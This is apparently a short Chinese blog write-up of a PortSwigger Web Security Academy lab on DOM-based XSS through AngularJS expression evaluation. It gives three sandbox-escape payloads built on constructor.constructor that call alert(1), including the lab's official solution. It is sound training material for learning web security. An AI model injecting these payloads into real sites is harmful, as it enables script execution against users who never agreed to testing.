Portswigger-web-security-academy:dom-base_xss

2021-02-18 10:18

阅读:397

  • 题目描述

    这道题用到了AngularJS,涉及到一个知识点

    当标签有ng-app属性时,会运行花括号里的代码,{{alert()}}

    要求运行一个``AngularJS的表达式调用alert`

  • 解题步骤

    看了两篇AngularJS xss的介绍,里面有两个payload,可行,原理都一样,建议看第一个参考链接的介绍

    payload:

    {{constructor.constructor(‘alert(1)‘)()}}

    {{x = {‘y‘:‘‘.constructor.prototype}; x[‘y‘].charAt=[].join;$eval(‘x=alert(1)‘);}}

    官方solution的payload:{{$on.constructor(‘alert(1)‘)()}}

  • 参考

    https://bbs.pediy.com/thread-258994.htm

    https://blog.csdn.net/linuxnews/article/details/58296374

上一篇:webpack入门

下一篇:如何使用html?


评论


亲,登录后才可以留言!